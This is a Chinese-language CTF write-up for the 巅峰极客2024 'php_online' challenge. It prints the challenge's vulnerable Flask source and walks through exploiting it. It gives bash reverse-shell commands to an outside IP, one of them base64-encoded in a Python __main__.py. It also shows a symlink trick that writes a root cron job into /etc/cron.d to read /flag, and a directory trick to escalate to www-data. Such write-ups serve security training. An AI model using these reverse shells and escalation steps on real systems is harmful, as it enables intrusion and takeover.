巅峰极客2024 php_online

这个题目搞了很久,前前后后涉及很多细节,复现的过程中出现了很多问题,也暴露出自己的基础不够扎实。网上有很多方式方法,这里一并梳理下。

限制输入了8位字母,我这里输入的11111111,就可以进入到php代码执行界面,这里任意PHP代码都能执行,没有任何过滤。所以可以尝试反弹shell,这里可以用php来弹shell,也可以用bash。

1
2
3
4
bash弹:
<?php system("bash -c 'bash -i >& /dev/tcp/220.203.23.131/8020 0>&1'");?>
php弹:

这里发现成功弹到shell:

php_online1

拿到的是nobody权限,啥都干不了,试了几种提权方式也提不了权。

但是这个题目给了代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

return result


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)

是python的代码

如果不关掉云服务器上的监听进程,反弹shell的进程就会一直占着,那么我在11111111这个沙箱的前端php执行页面就无法执行php命令,会一直显示task is still running,这是因为 result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() 这里是反弹了shell的,开启了一个新的进程,这个进程不结束,就不会到程序的下一步,即 os.popen(f'cd /sandbox/{user_id} && rm *').read()和working_id.remove(user_id) user_id就不会被删除。

方式一:软连接写定时任务

通过ps -ef 可以发现存在/usr/sbin/cron

php_online2

常见的定时任务是放在/etc/cron.d,可是nobody没有写定时任务的权限,但是

1
2
3
4
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

这里是有一个写的动作的,并且内容来自于我们前端表单的数据,是可控的,另外通过前期的ps -ef可以发现是以root权限运行的python程序,所以如果我们建立一个软连接,比如把 /sandbox/xxxxxxxx 指向 /etc/cron.d,那么我们往/sandbox/xxxxxxxx写的数据是不是就到了/etc/cron.d里面。

比如我们弄一个定时任务:

1
* * * * * root cat /flag >/tmp/flag.txt

但是直接这样是不行的,因为:

1
2
3
4
5
6
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

存在rm * ,定时任务还没执行就被删除了,所以这里需要条件竞争,让他们不要删的那么快。这个时候就可以利用php代码了, sudo -u nobody php phpcode

所以定时任务改成:

1
2
3
* * * * * root cat /flag >/tmp/flag.txt
#
#<?php for($i=1;$i<=1000;$i++){sleep(1000);}?>

对于定时任务文件来说,#是注释符,不会影响到定时任务,对于php文件来说,#不是注释符,所以后面的程序可以正常执行。

到这里,所有的问题基本上迎难而解了。这里还有一个小细节,我们要在软连接之后创建沙箱,因为软连接的链接文件/目录是之前不存在的目录。这点 一开始疏忽了,导致复现一直不成功。。。

1
ln -s [目标文件/目录] [链接文件/目录]

所以我们一开始先创立软连接: ln -s /etc/cron.d /sandbox/22222222

然后再进入到沙箱创建页面,创建一个22222222的沙箱,接着在php代码执行页面去执行php代码:

1
2
3
* * * * * root cat /flag >/tmp/flag.txt
#
#<?php for($i=1;$i<=1000;$i++){sleep(1000);}?>

可以发现phpcode成功写入到了/etc/cron.d里面,过一分钟之后,可以发现 /tmp下存在flag.txt文件。

image-20260205182512279

所以用软连接写定时任务的方式不涉及到提权,因为nobody用户权限本身可以执行软连接命令。

方式二:提权到www-data

这个提权很有意思,结合了rm * 不能删目录的特性以及python语言会优先执行目录下面的__main__.py文件,基于以上两点,并且代码里面有一处os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()

这里有一个用www-data权限执行init.py的动作,如果这个时候init.py它是一个目录,并且底下存在一个__main__.py文件,__main__.py文件内容可控,那我们反弹一下shell,就可以拿到www-data权限了。

接下来我们可以尝试一下,前面的步骤一样,先弹一遍shell拿到nobody权限,接着

1
2
3
4
5
6
7
8
9
10
cd /sandbox/11111111
rm init.py
mkdir init.py
chmod 777 init.py
cd init.py
echo 'aW1wb3J0IG9zCm9zLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjAuMjAzLjIzLjEzMS84MDMwIDA+JjEiJyk=' | base64 -d > __main__.py
###aW1wb3J0IG9zCm9zLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjAuMjAzLjIzLjEzMS84MDMwIDA+JjEiJyk= 为
import os
os.system('bash -c "bash -i >& /dev/tcp/220.203.23.131/8030 0>&1"')
的base64编码

然后我们kill掉这次反弹shell的进程,重新监听8030端口,依然利用11111111这个沙箱,随便输入一段PHP代码,来触发python的执行。

php_online4

成功拿到www-data权限